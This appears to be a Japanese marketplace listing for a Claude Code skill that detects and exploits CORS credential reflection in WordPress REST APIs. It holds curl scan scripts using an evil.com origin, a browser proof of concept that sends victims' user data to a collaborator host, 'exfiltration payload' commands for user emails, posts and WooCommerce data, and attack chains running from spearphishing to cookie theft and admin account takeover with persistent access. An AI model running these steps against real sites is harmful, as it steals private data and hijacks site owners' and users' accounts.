mcpField
C
cors-credential-wordpress

cors-credential-wordpress

github.com/uphiagoセキュリティ1.3k42 回インストール8 週間前に更新
リポジトリ

cors-credential-wordpress について

WordPress REST API の CORS 設定により、認証情報付きのクロスオリジンデータアクセスが可能かを調べるセキュリティテストスキルです。エンドポイントの確認からブラウザーでの PoC、影響の検証までを扱います。

主な機能

  1. 01REST API エンドポイントの CORS 動作確認
  2. 028 種類の CORS 設定パターンの解説
  3. 03ブラウザー PoC の作成
  4. 04非公開データの露出検証

活用シーン

  1. 01WordPress REST API の CORS 問題の評価
  2. 02ブラウザー経由の非公開データ露出の検証
  3. 03複数エンドポイントの CORS 動作テスト

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill cors-credential-wordpress

インストール後、Claude Code で/cors-credential-wordpressを入力して読み込まれたか確認します。

詳細

CORS 認証情報リフレクション WordPress スキル

WordPress REST API エンドポイントでの CORS 認証情報リフレクションを検出、確認、悪用します。CORS の設定ミスは、米国の中小企業の WordPress サイトで最もよく見つかる重大な問題の 1 つであり(全 WP ターゲットの約 7~8%)、被害者の Cookie を使ったクロスオリジンのデータ窃取を可能にします。8 種類の CORS パターンと、ブラウザー PoC の作成方法をすべて記載しています。

使用するタイミング

  • wp-mass-recon が Access-Control-Allow-Credentials: true を持つターゲットを検出した後。
  • WordPress サイトの REST API で、クロスオリジンのデータアクセスをテストするとき。
  • 攻撃チェーンを構築するとき:CORS → ユーザー列挙 → スピアフィッシング → ATO。
  • CORS の検出結果が(単に存在するだけでなく)悪用可能かどうかを検証するとき。

前提条件

  • curl および python3。
  • ブラウザー PoC の検証用に web_extract または browser_navigate。
  • ターゲットの WordPress REST API にアクセスできること(/wp-json/wp/v2/)。

実行方法

# Quick detection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -iE "access-control"

# Full CORS matrix (10 endpoints)
for ep in "users" "posts" "pages" "media" "comments" "categories" "tags" "settings" "plugins" "themes"; do
  echo "=== /wp-json/wp/v2/$ep ==="
  curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/$ep" -H "Origin: https://evil.com" | grep -iE "access-control|http/"
  echo ""
done

クイックリファレンス

パターン検出方法悪用可能性
Origin リフレクション + 認証情報Access-Control-Allow-Credentials: true + Origin をミラーリング重大 — データを完全に窃取可能
Null OriginAccess-Control-Allow-Origin: null高 — サンドボックス化された iframe
認証情報なしのワイルドカードAccess-Control-Allow-Origin: *(認証情報なし)情報 — 公開データのみ
認証情報付きプリフライトOPTIONS が 200 + ACAC を返す高 — プリフライトなしで GET できる場合
認証保護されたエンドポイントのみの漏えいCORS が認証保護されたエンドポイントでのみ有効高 — Cookie の窃取
複数 Origin複数の Origin がリフレクトされる重大 — より広い攻撃対象領域
プラグイン固有の CORSCORS がプラグインの名前空間でのみ有効中 — プラグインデータ
ステージング環境のみの CORS本番環境では CORS がなく、ステージング環境では有効中 — ステージング環境へのアクセスに依存

手順

ステップ 1 — 単一エンドポイントの検出
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/users" \
  -H "Origin: https://evil.com" \
  -H "User-Agent: Mozilla/5.0" 2>&1

陽性の兆候:

  • Access-Control-Allow-Origin: https://evil.com(攻撃者の Origin をミラーリング)
  • Access-Control-Allow-Credentials: true(クロスオリジンで Cookie を送信)
  • Access-Control-Allow-Methods: GET(データ窃取の経路)
  • エンドポイント自体が HTTP 200 を返す(データにアクセス可能)
ステップ 2 — 複数エンドポイントの CORS マトリックス
#!/bin/bash
TARGET="$1"
ENDPOINTS=(
  "wp/v2/users"
  "wp/v2/posts"
  "wp/v2/pages"
  "wp/v2/media"
  "wp/v2/comments"
  "wp/v2/categories"
  "wp/v2/tags"
  "wc/v3/products"
  "wc/v3/orders"
  "gf/v2/forms"
  "elementor/v1/globals"
  "revslider/v1/slides"
)

for ep in "${ENDPOINTS[@]}"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 "https://$TARGET/wp-json/$ep")
  if [[ "$code" == "200" ]]; then
    cors=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/wp-json/$ep" -H "Origin: https://evil.com" 2>/dev/null | grep -i "access-control-allow-credentials: true")
    if [[ -n "$cors" ]]; then
      echo "[CRITICAL] CORS ON: /wp-json/$ep — data accessible cross-origin"
    fi
  fi
done
ステップ 3 — ブラウザー PoC(poc.html として保存)
<script>
fetch("https://TARGET/wp-json/wp/v2/users", {
  credentials: "include",
  headers: { "Origin": "https://evil.com" }
})
.then(r => r.json())
.then(data => {
  fetch("https://YOUR_COLLABORATOR/log?d=" + btoa(JSON.stringify(data)));
});
</script>
ステップ 4 — データ窃取ペイロード
# Exfiltrate users with emails
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wp/v2/users?context=edit" \
  -H "Origin: https://evil.com" | python3 -m json.tool | grep -E '"id"|"name"|"slug"|"email"|"roles"'

# Exfiltrate all posts
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wp/v2/posts?per_page=100" \
  -H "Origin: https://evil.com" | python3 -c "
import sys, json
posts = json.load(sys.stdin)
for p in posts:
    print(f\"{p['id']}: {p['title']['rendered']}\")
" 2>/dev/null

# Exfiltrate WooCommerce products
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wc/v3/products" \
  -H "Origin: https://evil.com" | python3 -m json.tool 2>/dev/null | head -50

攻撃チェーン

チェーン A:CORS → ユーザー列挙 → スピアフィッシング → ATO
  1. CORS を使って、名前やスラッグを含むすべてのユーザー情報を窃取
  2. 管理者([email protected])宛てのスピアフィッシングメールを作成
  3. WP のセッション Cookie を窃取する CORS フィッシングページへのリンクを送信
  4. 窃取したセッションで管理者としてログイン → サイトを完全に侵害
チェーン B:CORS → Cookie 窃取 → API アクセス → ATO
  1. 被害者がターゲットの WP にログインした状態で、攻撃者のページにアクセス
  2. credentials: "include" を指定した CORS の fetch により、WP 認証 Cookie を送信
  3. 攻撃者が Cookie を再利用し、被害者として /wp-admin/ にアクセス
  4. 管理者のメールアドレスを変更し、パスワードをリセット → 継続的なアクセスを確保

注意点

  • プリフライトによるブロック: 一部のサーバーでは、カスタムヘッダーを使う CORS リクエストに OPTIONS プリフライトが必要です。単純な GET(プリフライトなし)と認証情報付き fetch(プリフライトが発生)の両方でテストしてください。
  • SameSite Cookie: SameSite=Lax または SameSite=Strict の Cookie は、CORS が有効でもクロスオリジンでは送信されません。ブラウザーで Cookie 属性を確認してください。
  • WAF の干渉: Cloudflare が Origin ヘッダーを削除したり、クロスオリジンリクエストをブロックしたりする場合があります。Cloudflare を経由しない IP からテストしてください。
  • 誤検知:Access-Control-Allow-Origin: * かつ認証情報なし — これは公開データであり、脆弱性ではありません。重要なのは Access-Control-Allow-Credentials: true です。

検証

  • curl コマンドの出力に Access-Control-Allow-Credentials: true と、攻撃者の Origin に一致する(* ではない)Access-Control-Allow-Origin が必ず含まれていること。
  • ブラウザー PoC で、別のオリジンから認証情報付きでデータを正常に取得できること。
  • 窃取されたデータに、非公開情報(ユーザー、投稿、設定など)が含まれていること(公開 WP メタデータのみではないこと)。

コメント